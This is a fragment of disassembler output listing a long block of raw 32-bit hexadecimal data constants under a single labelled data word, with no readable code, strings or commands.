		dd 0D67F641Bh, 9A0D910h, 9856D5F0h, 29AA0707h, 3086722Fh
		dd 0CCFA69E9h, 71858000h, 6E118352h, 0AAF41D20h, 0E0F343C2h
		dd 8EC8379Fh, 0F63E66F5h, 175C9696h, 0FF9C34C0h, 0AD5A0FABh
		dd 7842DDCh, 0B164A38Ch, 7A0C9B32h, 4154601Fh, 0C1C3225Fh
		dd 0CCA4AFEAh, 7391FB0Ch, 0E20BB49h, 5E8049Ch, 0BF800C86h
		dd 2950219h, 0BF6EF47Ch, 0F889BD1Fh, 0B8E4D465h, 21DC5B60h
		dd 50490E8h, 497A650Dh,	0A45820B3h, 706C912h, 0D0EAF740h
		dd 5B5C2E50h, 408CA251h, 39BD771Ah, 850CE44Dh, 0CCC15A0Dh
		dd 0C33B678h, 0A100F222h, 67F95A04h, 2811136Dh,	0DFAD688h
		dd 0A36FB0E7h, 55A830D0h, 0F3FDA0B0h, 0A7693906h, 1205407h
		dd 0A40EF5F4h, 380409B3h, 58492C50h, 5E762940h,	1A677E7h
		dd 32055FDEh, 0CEB1BE24h, 0B079D851h, 8297C818h, 583847F1h
		dd 6ECD0568h, 0C22DFB83h, 84098EBh, 0F7064813h,	894BB8E6h
		dd 0F4902A8h, 0A17AF4C0h, 0F5794C79h, 0D200F618h, 0E61ABF14h
		dd 78A461ACh
		db 99h,	1Ch
word_505446	dw 11C4h		; DATA XREF: ___:off_435E08o
		dd 7F8F0B8h, 8854A369h,	5D16578Ch, 4C3E9903h, 0C79B3110h
		dd 8F105DA8h, 9E0C3ED8h, 0A787620Ch, 0E124AC02h, 80173310h
		dd 13C75F4Fh, 0B500147Bh, 5821123Bh, 5CA2A936h,	92E3FCC1h
		dd 9C85940h, 0FAB8058Ch, 0E2A32DE2h, 0B797C060h, 710DFFAh
		dd 3079FD0Bh, 40E8BB77h, 2701D00Fh, 0EF6A7A67h,	306DEB09h
		dd 4B242C24h, 6A8D3807h, 56BE1708h, 655C8938h, 8D088A44h
		dd 24B1420h, 0D10277E0h, 183F7168h, 38FAFFh, 4E7C8946h
		dd 0AF2F8D54h, 2704E8BCh, 0B4841528h, 1DB274D2h, 0E580BD11h
		dd 959CEE1Fh, 234288h, 2467BA7h, 2F8E0481h, 2D3AC8B9h
		dd 7CF4A8B9h, 8DB8804Bh, 90956F75h, 0BE14B124h,	56CF4700h
		dd 0B3DC8E60h, 4C1CB000h, 647F87BCh, 0E51E2CBFh, 0E4FB0220h
		dd 1CC8C44Fh, 700B44Ch,	0FDE1F9CCh, 32A564h, 9D56F7B1h
		dd 0E2713C13h, 0A098C201h, 845AF519h, 0A1BC886Ch, 0B983008Ch
		dd 5276872h, 0B117104Dh, 0F8C2B83Bh, 0F5B420ADh, 1925EE15h
		dd 1D7C291Dh, 9ACD08E4h, 0A6FC6460h, 0F97E03EFh, 0BB3CB038h
		dd 0F8F4283Ah, 0E80ACC28h, 0BF215006h, 5888D0Bh, 0F45C629Bh
		dd 38AC101Ah, 0F013957Dh, 808C9FC4h, 758C2DACh,	68770B37h
		dd 10194BA7h, 8FF18B7h,	0C80C7126h, 0DA40A3C4h,	1A6826E7h
		dd 0F33C8506h, 3969D78Dh, 90B05957h, 1F2A7E49h,	20EEC5Ch
		dd 87CA60AFh, 9C9460C0h, 0EF6180E8h, 8D5C6CB0h,	0F89430BEh
		dd 60D447A2h, 68F420E6h, 0B469EBB7h, 0B01C02A8h, 78590927h
		dd 165CC7Bh, 0AE350A3Eh, 0F3B0E02Ch, 0AC142904h, 0E0B8DC39h
		dd 73B76902h, 9860E598h, 2AF5EA5Ch, 0B16C2C45h,	27C3C020h
		dd 4955005Dh, 0F7D767B0h, 0A61F5831h, 0CF84F8D8h, 548E628Dh
		dd 5FC0BF88h, 0BE6DE6h,	0C1CEF589h, 66BA87C0h, 0F19DA899h
		dd 4C08E3D2h, 1740CFE4h, 80EEBCB8h, 74C64486h, 7517E401h
		dd 58187D3Eh, 1080E47Ch, 213A6F98h, 0E7E63412h,	0A3C880CBh
		dd 5CA456C0h, 0C73050Fh, 0E3D1011h, 288972D4h, 642CB010h
		dd 5864A495h, 2EE1A0C2h, 0DA2F6887h, 281402F4h,	6859D603h
		dd 0FC40F391h, 73048CEAh, 868FE5Ah, 0A7B074BCh,	0E9385A0Ah
		dd 8828999Fh, 0C91092F8h, 6C01BEF4h, 6F98730h, 0B069E72Bh
		dd 0E0715D30h, 0E47CC43Eh, 0BFFE08C2h, 0BCD07Fh, 1D2FF51Ah
		dd 0BD63AA6Ch, 20F47732h, 40505E09h, 97F69027h,	35C8F91Fh
		dd 1F09379Ch, 494732Bh,	12E31827h, 67F4F020h, 13BAFE84h
		dd 0C8FBAB9Bh, 0D70EF540h, 0AA5310h, 1D4F2193h,	0C44000F4h
		dd 0E4F786E1h, 0C9018C96h, 10491477h, 303DB8EAh, 10EBF43Fh
		dd 0F841084Ah, 0AC7C09E1h, 490C296h, 11FAB930h,	88AB2DE3h
		dd 0B09481B3h, 0D72C40FAh, 1EF06ABFh, 7253E3Ch,	0F01750BBh
		dd 2494FCB0h, 0C88498CEh, 0ACF1309Ah, 69CB000Ah, 0D48608F3h
		dd 5CEE0C28h, 4F8DA5Dh,	5AAA9FC8h, 0FB998B81h, 0E58870B0h
		dd 80BAB026h, 0DD02F246h, 1EBCBA17h, 7603EC67h,	0A0E517E6h
		dd 1C5012h, 0EF600232h,	0E009B3ACh, 7012F0BEh, 8BB17808h
		dd 0CC4A60BAh, 3B00BC66h, 0FF4F11D1h, 0B004981Fh, 3D4830B0h
		dd 0D9FE5329h, 0DF3EF700h, 0EB8F5224h, 2DF00B90h, 50A58AA0h
		dd 0B8DC32D6h, 40AC20D1h, 0C5596C21h, 0BB738918h, 0D8100928h
		dd 0EF5AC314h, 64F1262Ch, 3A5465Eh, 4870F4E1h, 9F4900CAh
		dd 0B71ED6EFh, 1D00A1F9h, 70252D73h, 0EB0E3D4h,	2E1C278Eh
		dd 388DD5C2h, 49527844h, 0BAF0018Ch, 9A7927F9h,	0D93AF240h
		dd 2B3412DEh, 3354F09Fh, 0B19168B1h, 0B26FD80h,	58A5F80Ch
		dd 0A07D412h, 0EAE1FF50h, 0B82CAEAFh, 43529980h, 8996EBAh
		dd 2DF71404h, 0EC0358A5h, 673100AAh, 6F3B58C4h,	59008BB1h
		dd 5E07F210h, 0D9A576h,	87202FBEh, 0C0A2A74Ah, 142074B0h
		dd 60CD03E3h, 0C1BC69F1h, 0C055FA90h, 3156B904h, 0C49A5Dh
		dd 9C705EC6h, 0F400DCB4h, 7D8CC153h, 3E19E9h, 0A9C54FFFh
		dd 0CE9360C2h, 61904667h, 0B56848B9h, 3C8F00B4h, 6B94CF65h
		dd 0C71F03DFh, 239367A6h, 0FF05BCA2h, 930117A2h, 404C6DD8h
		dd 0D5F012D4h, 9C22880Ah, 976CAA04h, 7E0048EDh,	0A012EF10h
		dd 0BF0065A2h, 33ECDFAEh, 35C39EBh, 0E2BE1830h,	0D0B27E09h
		dd 0F067E848h, 58F5AE12h, 0C023703Ah, 13C8D203h, 0A930F969h
		dd 966F7884h, 90C0128h,	68BEE020h, 0AECB570Bh, 0BF118C9Fh
		dd 0D041FB80h, 6F12AA3Fh, 0D8047F9Eh, 4949EE22h, 0C25EFC90h
		dd 43767A00h, 3A19D509h, 0D0234F8Eh, 5834C034h,	2CA0604Dh
		dd 14609C2Eh, 26485F37h, 2707D9Ah, 0EC5027BBh, 0C6208E02h
		dd 3EFE00ECh, 5530B55Bh, 0E63B147Dh, 3C04CD5h, 0C7FD281h
		dd 583CBA31h, 42AD3AC4h, 1795E020h, 7C6BB90h, 635C6265h
		dd 343AA86Dh, 0A034B67Ch, 8F6A2B2h, 113D87B9h, 0BB5C8440h
		dd 2F91809Ch, 678C3813h, 3420F852h, 20EE30h, 68607CE3h
		dd 18039C04h, 0CB32E700h, 0E0C401Dh, 9702E8ABh,	2C823CB5h
		dd 60530F4Ah, 9F8020E3h, 62BA3002h, 1148D0E6h, 0D43E2410h
		dd 9488A82Bh, 662E0673h, 0BC05B16Ch, 0C0DFAC17h, 284A9491h
		dd 19F05061h, 0C841C11Ch, 3C59FA16h, 8CBEBC50h,	830B151Dh
		dd 8E21C441h, 586D739Dh, 6B22F100h, 7559B27Ch, 9F968300h
		dd 0E13F5420h, 318007E9h, 29DFA768h, 210C8800h,	18903918h
		dd 0E8A0C058h, 3E9B4332h, 0B8230073h, 440F362h,	47692E08h
		dd 308C82FCh, 0C448C564h, 0ECF4B8BFh, 9CD9E899h, 4701AC18h
		dd 873C7277h, 5C6861BAh, 0A81C2085h, 0C7E70658h, 598C81h
		dd 48AF106Bh, 0E5C10E24h, 697A6E00h, 0EA415ED4h, 1288B1B9h
		dd 2D3CA4E2h, 0CCF77424h, 0B0909C97h, 3BE5891Bh, 0D18078E7h
		dd 6037DE69h, 0C058D23Fh, 308BA4ACh, 68C0A688h,	0FE2C2F67h
		dd 0C7F73A83h, 0A46BF503h, 0C3A8F404h, 31D2B7BCh, 883FA4E0h
		dd 0F500FB19h, 2028135Bh, 95A74596h, 0FE11749Dh, 53376080h
		dd 7A0C2372h, 60F413B1h, 5C3112B2h, 6F100235h, 860FBA5h
		dd 7E81B323h, 9CBC882Ch, 0B4A6008Ch, 43FFA416h,	75EEC1F7h
		dd 8EF2E43Dh, 0C10B088Bh, 304FF5CAh, 6CFE980h, 153D596Dh
		dd 6F28119Dh, 31861B0Ch, 0CC193B48h, 8C747DCDh,	4F8E9112h
		dd 0F88C2738h, 0FB10C072h, 3A9028F4h, 14C02DB4h, 34E4B0A9h
		dd 2F212047h, 224843h, 7DB7B291h, 6A889A30h, 0E4973D02h
		dd 0E071BFFEh, 28FC604Ch, 0B886E95h, 13268969h,	0E448AC01h
		dd 0E89038A8h, 2A008CF9h, 6723F8BFh, 2C403B2Ch,	0B400988h
		dd 6468958Ch, 912617B8h, 2C0258DAh, 81A62F64h, 0D96AAEF0h
		dd 232C2E3Fh, 43D000BEh, 2B7ED74Ch, 83E5111Dh, 9F3431CBh
		dd 80F31178h, 7158D42h,	94605BB8h, 54F21Ch, 9D8406EBh
		dd 0E67D6Fh, 0AA444B14h, 0EA0B53DEh, 0D450AF4Ah, 839E05B4h
		dd 90C4A8CFh, 61E40CC2h, 0C81057C0h, 0CE4D8760h, 267C5854h
		dd 69879090h, 0E5E673BFh, 0C9181119h, 0BB5708A8h, 0DA4488F6h
		dd 2889F42h, 84D62055h,	140081A7h, 300DCF67h, 25476914h
		dd 0C810CA93h, 503CC1BDh, 81986C99h, 4E7BB44Ah,	987EE9D8h
		dd 3A20B034h, 6E810277h, 2421CB8Bh, 5F141038h, 0E5B101DFh
		dd 9F6C2DA8h, 1518209Bh, 69A10E35h, 919C6C81h, 0BE486180h
		dd 0F753414Bh, 0D8266F02h, 0C314658Bh, 0FCE08D84h, 3769100Fh
		dd 0B70488Dh, 5823B0E0h, 601A13D4h, 0F120F2E3h,	390C9ACCh
		dd 9E621102h, 5C73E1F9h, 631806Ch, 2AED92FDh, 6B4E8C00h
		dd 0B09CDD29h, 6C3A1C91h
		dd 4B93972Ch, 1C641470h, 1BFA5709h, 9C2C83BDh, 0D1F100BEh
		dd 0FF674EF3h, 13015ACDh, 2CF2DA04h, 0BFD8270Ch, 0D519001Dh
		dd 0BD7CC555h, 0DB00A820h, 22B6A1DAh, 3DFB771h,	0E56F8A0Bh
		dd 73B08D1Dh, 0AE007A17h, 29B7807h, 0B3B08Eh, 0D5012214h
		dd 98E473EEh, 0D3EF661Ch, 0C0A4CBCFh, 150C2BB1h, 0F2193E24h
		dd 472FE400h, 35B2D18Bh, 960DE81Ch, 37EBA905h, 0ED17C480h
		dd 957F0061h, 5178C7CCh, 3D001C33h, 0A37C83A7h,	0E2C05982h
		dd 0F9AF8D7h, 0F3451518h, 0B1D4980h, 940098B7h,	0C7DA218Eh
		dd 29B2FF1h, 3162F6FAh,	0D6E31FF7h, 89A24AD9h, 0C43E30h
		dd 4BC87460h, 4C951EF0h, 0A41F4ECAh, 4A21784Eh,	60ECE808h
		dd 6A3B2B05h, 3E4E80A8h, 8703A9EDh, 0E37E0044h,	721F53CCh
		dd 3701240Ch, 0F4C4048Ch, 0C9F875B0h, 6944002Ch, 0C0980AB1h
		dd 0B300D95Eh, 0E460076Fh, 4D9558h, 9CE3B5CCh, 0ECF864EDh
		dd 4B744500h, 173D2EB0h, 317301F4h, 7C62C8CDh, 10F851D6h
		dd 5A55F470h, 3B9F5C00h, 0DA7292C3h, 49C800CEh,	45C0EAD2h
		dd 0EC6EC613h, 3FD96ED9h, 0AD35C440h, 4820802h,	0D8F1F429h
		dd 4F249055h, 440332EAh, 0D16D9C05h, 859901B7h,	0DE6B861Bh
		dd 96C4C4DBh, 251E3F00h, 0FDE11F01h, 1206002Dh,	36B1D56Eh
		dd 0BC00DA6Ch, 0B8CB5A66h, 5855F23Ah, 99004EFAh, 0CA9816BEh
		dd 8B00629Bh, 15DC8FE5h, 0FC54AFDh, 3AC8CBBFh, 25A719CFh
		dd 4EFE10BBh, 0BC0007CFh, 4F445F9Dh, 9FC80Fh, 8A2B1D48h
		dd 0DA73D153h, 4351E100h, 0A08436CEh, 6B941E82h, 3E3523Fh
		dd 0D2C72F1Dh, 0D0CA2801h, 0BB14BCA9h, 1FF91DECh, 40427E65h
		dd 74528B94h, 9CF86D4Eh, 4DC2C801h, 0F95CDDCAh,	1C9E8C4h
		dd 709A7F3Fh, 7001342Fh, 0EB262E6Dh, 73F00DAh, 909F3D04h
		dd 0F1FA89C0h, 4F6FE556h, 4960EAF8h, 1E33581Ah,	0A2010B75h
		dd 28437C32h, 0ABF3455Dh, 2DF5C00Ch, 0F7EF7E64h, 0A6BDC50h
		dd 0BF0700A3h, 0E2B37D44h, 0F8B886E0h, 4E9DED1Eh, 4013656h
		dd 1B236337h, 0ECC003Bh, 8A06A13Fh, 9AAB3Fh, 341AEB74h
		dd 0FA68830h, 19D39989h, 4BC7DD6Fh, 0A23E41EDh,	0CB77F405h
		dd 99FEA892h, 31E19D2Eh, 34A0F100h, 21FD01Bh, 0E6F32AA5h
		dd 20414E7Ah, 7808B5h, 1147C6EAh, 5C373A5Bh, 53C3060Fh
		dd 0F00F2090h, 1F94824h, 19FAD2E3h, 0C898051Bh,	913833Ch
		dd 5309A4B7h, 8AAF019Dh, 0E7700EC5h, 0CC82000Bh, 4320B74Eh
		dd 6C00B83Dh, 3953E355h, 78C12FE9h, 54E80034h, 493EF1Ch
		dd 0CA007C22h, 5EF868ADh, 29C52Fh, 0BD66FE74h, 0C14252FBh
		dd 0DED81D00h, 0B1934396h, 0DC360085h, 0AF38E344h, 409AE067h
		dd 0B9C0BD00h, 0FF0B8F7Ch, 763900F7h, 0C9F6DFEBh, 0BA1E8E1Fh
		dd 38808CD3h, 735CE9C3h, 98809701h, 50446D0Fh, 0B2183C00h
		dd 0F12385B3h, 0EF4700F7h, 9313DE56h, 0D30016F3h, 0C6144224h
		dd 797E67F0h, 0D9F800F4h, 0B34F27DCh, 0B97752F1h, 0F969E103h
		dd 0D85A394Dh, 3CEB309Bh, 0B680890Ch, 63E3D081h, 9607CDEEh
		dd 1BFCE16Bh, 0C86E59D0h, 2ADC00AEh, 6A55A25Bh,	0E20050D1h
		dd 26BBC164h, 3A6E9Dh, 0DDEA282Bh, 88D76957h, 9CC64728h
		dd 0BBEBE8F1h, 42E12312h, 132C8404h, 800B3093h,	7E1048EEh
		dd 0F1FAFAh, 119D15C9h,	49AD5F91h, 0E57B55ECh, 0BB7D9F01h
		dd 50E27EF3h, 3F99B1C4h, 0FB3A27CEh, 0B34DE100h, 2AC658B5h
		dd 0A86D4F04h, 9C90D7BFh, 1ABD6Eh, 5D23907Bh, 2BC85FA1h
		dd 0D299CB00h, 70D59E28h, 757E9845h, 0E6A0724h,	1F079303h
		dd 0CC159F41h, 0AB108006h, 0B25109Ch, 5A7D19h, 58F0642Eh
		dd 778CE3BBh, 0C7DFDE00h, 5C87B410h, 5BDA00A3h,	1128BEE7h
		dd 5100DDD7h, 3C3FACBDh, 0DB29EAh, 0F3CBA113h, 5DD8CA44h
		dd 0E7D4EE00h, 864837C8h, 1A263D0Eh, 9381400h, 0DB066C3h
		dd 767F6B00h, 9029A75Ch, 0DD7E002Eh, 0EE41F860h, 0F00E666h
		dd 57F2B842h, 4BA1640h,	37C5950Dh, 4E1C8828h, 10F57D04h
		dd 0D17B87h, 70DC5C67h,	66FD0133h, 1B5B0BE1h, 5ABC3031h
		dd 52004EF6h, 0C2F287A7h, 0BBB8E18h, 0C9CCD9Fh,	724FAD80h
		dd 371E2D40h, 5A0036FAh, 0B9F3AD51h, 750EE860h,	807927h
		dd 91B1E49Dh, 37D7CEE0h, 0C6FC8E16h, 12748600h,	3BF53Fh
		dd 0ABFA7234h, 38C565Bh, 54022000h, 0B84D229Fh,	5E8907F3h
		dd 0D0AC52FAh, 69A91B35h, 0CF6D5A04h, 0E4F45B10h, 50857A8Ah
		dd 6A7ACB1h, 8659DBA0h,	9F0040F9h, 4F509825h, 75F4BBE3h
		dd 54520E69h, 44453E4Dh, 348A80A7h, 1500052Bh, 0EFB192Eh
		dd 0FD0678Ch, 0C7EC7930h, 0B8DF62C1h, 923BCCD8h, 64CFF80Bh
		dd 0BC9C80F4h, 19C880BEh, 1055011Bh, 0D55801AEh, 1FA6219Eh
		dd 0FE00F8B3h, 53DDC715h, 7500F332h, 989D21ADh,	0B84B94F0h
		dd 0B4D807BFh, 5EE15C57h, 0D440F9E9h, 0FB1F84A6h, 0BCC75BB3h
		dd 0A266CA83h, 0F0670458h, 0FD9FE796h, 5300184h, 9475B1E2h
		dd 2404FCh, 0BCA3F2E4h,	0C06EFF92h, 68F3B601h, 0E3631B95h
		dd 1E670C74h, 832296F5h, 13ABFED6h, 23D5E2A7h, 9C005072h
		dd 0AD5B4146h, 2B3E207h, 332840F0h, 0B8C0DD09h,	78014268h
		dd 5694CF7Bh, 0FA70AD1Dh, 8DF802B1h, 0B64B403Eh, 0F9D31360h
		dd 0A882E103h, 75EF4D07h, 0CB630081h, 1C4C4860h, 0AC1E8CC8h
		dd 6C28F4E2h, 2F22DA07h, 0A4B16EF9h, 28C14EAh, 0C220028Ch
		dd 20455F05h, 5809349Ah, 6840E8ABh, 79C30012h, 0B37B2C6Ah
		dd 2200E235h, 9780ABF6h, 1132E21h, 60A40D2h, 0E8D5C4F4h
		dd 0A4306A78h, 9666660Ch, 1B79FBh, 0D3B890DFh, 5EFFFA60h
		dd 1424C21Fh, 0CD173B0Ah, 13B60Fh, 0DC09054Dh, 6EEA00F2h
		dd 0D1E33A69h, 40006441h, 0FD1EAB3Eh, 1D89BA45h, 54969D67h
		dd 1380B468h, 0B4A16941h, 6C777D0Eh, 5DBA82ADh,	79CD842h
		dd 59A44116h, 431907Bh,	33006E1Ah, 986166C7h, 1C85F236h
		dd 4053ABBCh, 7170160Bh, 0B4BAB717h, 88E8B807h,	3557F705h
		dd 33BADDA0h, 7A9D0310h, 0B1151840h, 73188CE7h,	0D2FED302h
		dd 0B6B0CD78h, 1B061020h, 4E00783Ch, 8EB9E411h,	79E9C4h
		dd 0F96C488Fh, 0B4F01E2Dh, 0C70EF4F8h, 0E0C58962h, 0E25D74E4h
		dd 48234AEh, 81207638h,	0BF356510h, 0A1001442h,	9BE1F71h
		dd 0DAF80238h, 0AADB8100h, 0F5D141F3h, 192D00BAh, 684A6B6Ah
		dd 0AC152CE5h, 6534E9D5h, 804FA408h, 0D6364802h, 68C0A087h
		dd 1D141F22h, 0C0C03F6Fh, 6B29901Ch, 0E8A32470h, 7D1808E6h
		dd 0C7103547h, 2F2B008Eh, 7A072969h, 71062453h,	1603EDC9h
		dd 0FDD10228h, 30FAC00Eh, 2379EB22h, 8840AA6h, 25284F3Bh
		dd 4C745F84h, 5F093D04h, 33170861h, 2D844390h, 0C7034407h
		dd 48313F44h, 4C34237h,	22C6F722h, 9B24325Ah, 8F878940h
		dd 0AD7A21B3h, 3D2D8C00h, 0DB4495A1h, 0E6F300CAh, 7ED8D779h
		dd 964C0F2Ah, 0E41900CAh, 0C023C86Fh, 48EF2C80h, 5F7D01EAh
		dd 8003A4B4h, 3D1F86DEh, 968F76h, 51451B70h, 66D53771h
		dd 6C25B300h, 0BA355F0h, 0F471F3EDh, 0E9DFAC4h,	1C40E651h
		dd 0E4F91420h, 3100644Ch, 0DE7CF2ECh, 7F7081FCh, 0B09E004Fh
		dd 0C6417404h, 37000B6Fh, 27214634h, 56859Dh, 0CBEAB920h
		dd 0F28B2BFEh, 0F6AAB100h, 0AB676E3Fh, 0FD090083h, 93103DBBh
		dd 8200915Ch, 8AA25589h, 21264Ah, 0B8439203h, 0D46C0A75h
		dd 0BF5CD00Eh, 0DE6760D5h, 0B597A5h, 3F33C38Ah,	0CF62A253h
		dd 20FB8318h, 1F272B11h
		dd 40F266ABh, 0CA9A61F0h, 9800DE4Ah, 25305067h,	233C3Ah
		dd 9247248Ah, 9E598108h, 3D1C1A00h, 0FE82616Eh,	0AD200360h
		dd 0EBB40FA6h, 201781C1h, 1B3A6D50h, 31EAA621h,	87260900h
		dd 53C3013h, 834EFEF1h,	0C0C6BEEDh, 1CB89010h, 7EAB525h
		dd 90A80C11h, 8068C439h, 478E7E00h, 15BF8154h, 0C5DB3964h
		dd 63948F80h, 0D3FCB713h, 69F7B305h, 80AAA039h,	1447CB0Ah
		dd 38977600h, 508E2886h, 14C0E9Bh, 0B2E4EE12h, 849C8026h
		dd 800E758h, 42299369h,	3E0DB519h, 0D981DE7Dh, 8B50C573h
		dd 78F6F89Fh, 0AE5CFC1Fh, 0FDE3B3C0h, 218C3Ah, 967A8218h
		dd 641C6C46h, 3FD69700h, 715A7EA5h, 472700C5h, 0DD61CEC4h
		dd 7F26D972h, 621ECCDAh, 0F836DF80h, 0FDB817h, 0ECB605DBh
		dd 0AE76BF16h, 0C995B403h, 0F0D5AAA4h, 245DDA9Eh, 1FC6874h
		dd 77C1B318h, 0EC9421B2h, 0BE263D53h, 4C07963Bh, 0C883F5EDh
		dd 0C0C8000Ch, 4A8D1285h, 830567E5h, 18948016h,	87D4F900h
		dd 3749481Dh, 9031980Ch, 0F5C7B60h, 0F31E4101h,	884DFB0Bh
		dd 0C770BC40h, 924428DAh, 51671DC8h, 8F7BC053h,	0DE988175h
		dd 1136BF00h, 8B019CFAh, 0DDB3AF8h, 1E8F8800h, 0C0D27823h
		dd 0D98C3B50h, 0B47A9E02h, 403D49DEh, 935548h, 1D059979h
		dd 0BD6BF5D5h, 0AA7450C0h, 77B138Eh, 0F07F1F52h, 8B77F0FFh
		dd 3F008006h, 0D5F4B7B0h, 1E12B5A2h, 0C04CBE04h, 0C1654EC4h
		dd 357698AFh, 4C9013FCh, 41F59F00h, 6853F904h, 0E3F40710h
		dd 90DF3885h, 0C25428Fh, 806FAF00h, 0AB1DD6C7h,	48E80058h
		dd 560AF1A6h, 5DF6FD9Bh, 26A3E000h, 219D7319h, 0BEA20752h
		dd 59342A2Ch, 0B2107180h, 8B0081DDh, 66970FA3h,	0FCD5474Ch
		dd 0ADE00515h, 41405DCBh, 33E536E0h, 17CE4044h,	0A50067B4h
		dd 6A98A385h, 3F107983h, 0B00E5445h, 60E35FFFh,	31B856DEh
		dd 1E0072A9h, 4333C50Eh, 486DCAC0h, 550034F9h, 882DC61Ch
		dd 30134476h, 0F40014B1h, 0C5CDCEF0h, 0C2532C26h, 61F98624h
		dd 5104400Dh, 54179E3Eh, 0E26AD490h, 0FF3100B7h, 40074BD7h
		dd 0E4693676h, 6C9C01E6h, 5520E6ECh, 0FEF200C3h, 0D576F113h
		dd 8457DA36h, 72E200FCh, 0F96115C5h, 9276F3h, 0F14E053Dh
		dd 0E5EB30Fh, 0D300F47Fh, 906C9DEDh, 2CE42E14h,	28D372D8h
		dd 0AF261204h, 0E364037Fh, 0A680D710h, 0C50085A2h, 3961452Fh
		dd 477605h, 2598DF11h, 28E1445Ah, 99507D0Eh, 78072309h
		dd 10DEC84Bh, 415A0002h, 0A4CB0B54h, 20008E57h,	899C5C6Dh
		dd 13E9F1D7h, 3EBCB2h, 70F50D14h, 0C60038DFh, 0D644EB7Ch
		dd 4D0394h, 7A15250Bh, 2284206h, 78EA7700h, 19FCDDE8h
		dd 84244CF3h, 0B30D1407h, 0BA1650B8h, 6E00CFE4h, 7DD90E31h
		dd 0EC7E67C0h, 8B20033Ah, 34BE581Eh, 9B35D588h,	0CC130824h
		dd 1D4C0038h, 0CFAD6505h, 0B1E61DB7h, 6CA6C088h, 6A0A98CBh
		dd 47790C1Eh, 10211593h, 1908DE30h, 5DD3CD00h, 587DD770h
		dd 4C140076h, 8D37CE9Ch, 2490169Dh, 0B8ADA300h,	40808934h
		dd 0B6393CF9h, 64C92500h, 5183297Eh, 0BC3BFC00h, 3D6690F5h
		dd 0A5E9008Eh, 0DAA3ACFh, 0E2003C56h, 23FEAD6Eh, 1CD4F988h
		dd 47E626EDh, 70DA14E7h, 5317E98Fh, 8DF57C00h, 3DFC44CEh
		dd 9BB70026h, 455871F2h, 0C10060BBh, 161A929h, 0C4FEBEh
		dd 0E78A09D8h, 0DFDA1E2Fh, 3060A730h, 0B3D5BBh,	17292DA5h
		dd 0A3324BC6h, 7A24ED00h, 41F1A8F9h, 1E5C30A7h,	61857850h
		dd 3A563400h, 71198917h, 0CF9D0F8Ch, 2A80C6E7h,	8BEF3308h
		dd 4DA57300h, 0A6F03BB1h, 0C90213F4h, 0CB24405Fh, 0C720FDE1h
		dd 2C99FF02h, 40920F23h, 3BA027h, 0DABF0478h, 6162EC88h
		dd 0FAB75900h, 0C9D6019h, 717727h, 0D99849A9h, 5E34B2CFh
		dd 242FC926h, 2D40D204h, 1BC60080h, 0CDDA3D4Fh,	820411A4h
		dd 0F755E868h, 56D0CE63h, 0F100B65Eh, 628C06D0h, 0ECDE4A6h
		dd 0C018C1FAh, 33F4AC21h, 471C7084h, 0B153F500h, 0D8A3069Fh
		dd 6213054Bh, 0C00EDF54h, 0E6B6968Bh, 1014D300h, 180295FDh
		dd 0D69900F1h, 79A9AB38h, 0ED007F29h, 9E0EBD43h, 3C64D5DCh
		dd 151FDD57h, 0C51080BAh, 14A9C9BFh, 4973FE00h,	254CA8C7h
		dd 0D41603E8h, 8C2821FAh, 86526AD0h, 8E186090h,	83A06B80h
		dd 0A742Ch, 0B4D97163h,	5D7821CAh, 99AF9B00h, 0FF85EE6Dh
		dd 3DC3006Ch, 0FC55B44Dh, 60035463h, 0A411CD88h, 0C1A789CFh
		dd 23493E8h, 28208B86h,	9CC89ED3h, 7C00FE31h, 5B2BCC2Ch
		dd 3BD848h, 4275E6A3h, 697FF889h, 0A8048500h, 0FC59F299h
		dd 0F0DB0224h, 1D64F8Eh, 0C814F0A0h, 400F0D7Bh,	21EB7559h
		dd 3D376C81h, 0B48ACE40h, 0A83B00A2h, 0C1C00EFEh, 1203801Bh
		dd 864F152h, 672407F7h,	50DC1FBAh, 0FD0D7225h, 43B43C01h
		dd 69D27B36h, 48C38FF4h, 0CC246F34h, 13900F1h, 0FE476638h
		dd 74FC81E8h, 9AE1E81Ch, 74145396h, 0FF90956h, 1B500016h
		dd 71CDACh, 7DE9C26Ah, 0A561D266h, 0E705800h, 298956C8h
		dd 313E00D4h, 0C9C4A8B1h, 230CB769h, 60C0F55Ch,	1EE80094h
		dd 0F9848192h, 5090389Ah, 209F2226h, 0C39E960Eh, 90E17BD9h
		dd 1CA3A1A5h, 47EAF9h, 0F7058C6Fh, 0BB014912h, 0EE5E5291h
		dd 6C244BA9h, 3A697C74h, 6F8089E4h, 0D89CE509h,	0F042F59h
		dd 7045118Dh, 8F563780h, 0F2F41CFFh, 22F5C117h,	0D231FB53h
		dd 0F77F08C0h, 87702A1Eh, 56CF6180h, 0E629A033h, 7E6801A7h
		dd 840C1DF3h, 64F8807Ch, 329D521Ah, 24C20C12h, 0D89879CEh
		dd 805C0B3Ch, 0B3BDF981h, 4CDA7730h, 1126FC33h,	1CD30F7Ch
		dd 2A24C232h, 3C009050h, 1A5E1929h, 7062C46h, 0CC7CEE4Bh
		dd 0F00E00D1h, 253B1F38h, 0BCB71D18h, 0D8BE6A41h, 60F662B3h
		dd 2CAC79FCh, 40BC7EE3h, 0C41C363Dh, 0F229B53Ch, 0F9D74B1Eh
		dd 23093205h, 0B003C9C0h, 883B5870h, 3C7D533Ah,	86016CF7h
		dd 0B12533CFh, 0EEA160E4h, 0F590D31Eh, 0A2561240h, 241F339h
		dd 0D75B2127h, 3943653Ah, 6F01E0B6h, 485DCA0Ch,	40FA5278h
		dd 53B8634h, 6846D7B3h,	1613C01Dh, 0AFC5440h, 903E572h
		dd 7C773998h, 0D0E2888Eh, 987F6747h, 0FDC060C1h, 8601EE1Ah
		dd 955079DFh, 88802E89h, 686EED42h, 8100A4E0h, 550952DAh
		dd 3350C98h, 0C267CCA7h, 1BA9576h, 0B4C3D848h, 5D0113E0h
		dd 12A1AF2Eh, 8F20EC10h, 0B68EAB1h, 0B26BE396h,	8AD29F80h
		dd 0FA02868Eh, 6E817DF3h, 0C5E1E054h, 9FB300DDh, 0D72474A9h
		dd 0DF1C45A3h, 9EC7FAC6h, 0D670E4C2h, 140826Eh,	13904E08h
		dd 7006B0F3h, 0E2001880h, 0D030C96Bh, 3829A96h,	0BDEDC260h
		dd 3800522h, 6E01DB9Ch,	2D940E2Ah, 3881045Ah, 1D759D68h
		dd 0C8F07172h, 57006A24h, 0F7CC014Ch, 0C354E2h,	0CFDE7CA4h
		dd 7B580998h, 33EED700h, 7F95F4BFh, 98BD5C4Ch, 0A0076848h
		dd 5086356Eh, 5332F68Dh, 3A029898h, 8AA56FAh, 7418C1F4h
